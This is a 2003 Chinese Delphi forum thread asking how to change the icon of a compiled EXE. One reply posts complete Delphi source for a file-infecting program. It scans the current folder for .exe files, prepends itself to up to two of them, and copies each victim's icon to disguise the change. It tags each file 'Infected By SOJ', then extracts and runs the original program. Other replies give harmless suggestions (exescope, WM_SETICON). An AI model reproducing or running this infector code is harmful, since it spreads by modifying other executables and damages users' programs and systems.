社区
Windows SDK/API
帖子详情
问侠客: 如何动态改变EXE文件的图标?
lxtnt
2003-09-10 08:42:05
大侠:
如何动态改变EXE文件的图标?[已编译的EXE]?
如有一个*.exe文件和一个IX.ICO文件,如何替换*.EXE文件中原有的图标为IX.ICO图标?
用原生delphi实现。
...全文
124
3
打赏
收藏
问侠客: 如何动态改变EXE文件的图标?
大侠: 如何动态改变EXE文件的图标?[已编译的EXE]? 如有一个*.exe文件和一个IX.ICO文件,如何替换*.EXE文件中原有的图标为IX.ICO图标? 用原生delphi实现。
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
3 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
crossbow
2003-09-11
打赏
举报
回复
这个可以,我试过的。
Exe文件的修改
我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)
//Code here:
//headerprj.dpr
program headerprj;
uses
Windows,Classes,SysUtils,Graphics,ShellAPI;
const
HEADERSIZE=78336;
ICONOFFSET=$11EB8;
INFECTFLAG='Infected By SOJ';
ID=$66666666;
{$R *.RES}
var
tmpFile:string;
si:STARTUPINFO;
pi:PROCESS_INFORMATION;
sr:TSearchRec;
Counter:Integer;
//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
Dst:TStream;dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
end;{CopyStream}
function Getmyname:string;
var
cmdline:String;
myname:Array [0..255] of Char;
i,j:integer;
begin
i:=1;j:=0;
cmdline:=GetCommandLine;
while cmdline[i]<>chr(0) do
begin
if cmdline[i]<>'"' then
begin
myname[j]:=cmdline[i];
inc(j);
end;
inc(i);
end;
myname[j-1]:=chr(0);
Result:=strpas(@myname);
end;{Getmyname}
function GetTempFullName:String;
var
tmpPath:Array[1..256]of Char;
tmpname:Array[1..256]of Char;
begin
GetTempPath(256,@tmpPath);
GetTempFileName(@tmpPath,'PQR',0,@tmpName);
Result:=StrPas(@tmpName);
end;{GetTempFullName}
procedure ExtractFile(filename:string);
var
sStream,dStream:TFileStream;
begin
sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
dStream:=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
end;
procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
begin
si.cb := sizeof(si);
si.lpReserved := nil;
si.lpDesktop := nil;
si.lpTitle := nil;
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := state;
si.cbReserved2 := 0;
si.lpReserved2 := nil;
end;
function InfectFile(Filename:TFilename):Boolean;
var
hdrStream,srcStream:TFileStream;
icoStream,dstStream:TMemoryStream;
iID:Longint;
aIcon:TIcon;
begin
try
if Filename='headerprj.exe' then exit;
srcStream:=TFileStream.Create(Filename,fmOpenRead);
srcStream.Seek(-4,2);
srcStream.Read(iID,4);
if (iID=ID) or (srcStream.Size >1000000)then
begin
srcStream.Free;
Result:=False;
exit; //如果感染过了则退出
end;
srcStream.Free;
try
icoStream:=TMemoryStream.Create;
aIcon:=TIcon.Create;
aIcon.ReleaseHandle;
aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
aIcon.SaveToStream(icoStream);
aIcon.Free;
srcStream:=TFileStream.Create(FileName,fmOpenRead);
hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
dstStream:=TMemoryStream.Create;
CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);
dstStream.Seek(0,2);
iID:=$66666666;
dstStream.Write(iID,4);
finally
icoStream.Free;
srcStream.Free;
hdrStream.Free;
dstStream.SaveToFile(Filename);
dstStream.Free;
Result:=True;
end;
except;
end;
end;
//主程序开始
begin
Counter:=2;
if FindFirst('*.exe',faAnyFile,sr)=0 then
begin
InfectFile(sr.Name);
while (FindNext(sr)=0) and (Counter>0) do
begin
if InfectFile(sr.Name) then Dec(Counter);
end;
end;
FindClose(sr);
if ExtractFileName(Getmyname)='headerprj.exe' then exit;
tmpFile:=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);
end.
ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了
naughtyboy
2003-09-11
打赏
举报
回复
上面是用别的工具替换图标
另外还有一种方法能临时改变图标,但不是永久改变
当程序再次运行的时候,图标还会变为原来的样子
var
ico: TIcon;
begin
ico := TIcon.Create;
try
ico.LoadFromFile('E:\hlp.ico');
SendMessage(handle,WM_SETICON,0,LPARAM(ico));
finally
ico.Free;
end;
end;
hansome
2003-09-11
打赏
举报
回复
用exescope啊
用程序实现的话
要非常了解PE格式
拒绝 API 延迟!
侠客
工坊如何基于端侧 SLM 重构移动端“数字员工”的视觉操作架构
本文介绍
侠客
工坊如何在移动端部署专精GUI操作的多模态小语言模型(Vision-SLM),突破显存瓶颈。核心技术包括:轻量ViT视觉编码器、INT4/INT8混合量化、
动态
视觉上下文剪枝(仅保留语义DSL而非原始像素)、KV Cache滑动窗口限制,以及通过Android内核Input Subsystem实现零侵入物理级事件模拟。整套方案使8GB安卓设备可稳定运行长周期跨App自动化任务。
office 2007
图标
_忘了以前Office长什么样?看完这12个历史版本就知道
本文回顾了Office
图标
从DOS时代到现在的演变过程,展示了
图标
设计风格的变化趋势,从原始感、复杂化到扁平化、简约化。
寻音捉影·
侠客
行开源可部署:模型权重与代码分离设计,便于安全审计
‘寻音捉影·
侠客
行’是一款面向隐私与安全的开源音频关键词定位工具,支持本地离线部署,采用模型权重与代码物理分离架构,便于安全审计与模型替换。系统基于CPU推理,无需GPU,兼容主流操作系统;提供Web界面与CLI双交互方式,实现长音频中多关键词毫秒级精准定位。核心技术涵盖语音检索、ASR前端处理、关键词匹配与置信度评估。
寻音捉影·
侠客
行:5分钟快速上手音频关键词检索神器
本文介绍一款基于FunASR轻量模型的本地化音频关键词检索工具,支持中文/英文关键词定位、毫秒级时间戳返回、离线运行与隐私保护。工具采用极简架构,无需云端传输,适配会议纪要、视频剪辑、客服质检及语音开发调试等场景,强调低资源消耗(4GB内存)、高响应速度与友好交互设计。
github看所有历史版本_忘了以前Office长什么样?看完这12个历史版本就知道
微软发布全新Office
图标
,代表未来云端化、智能化、跨平台化方向。文章回顾了Office各版本发展,从DOS时代到最新的Office 2019及Office 365,介绍了界面、
图标
等变化,指出其从原始到复杂再到扁平化的设计趋势,还提及Mac版及未来发展方向。
Windows SDK/API
1,184
社区成员
22,326
社区内容
发帖
与我相关
我的任务
Windows SDK/API
Delphi Windows SDK/API
复制链接
扫一扫
分享
社区描述
Delphi Windows SDK/API
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章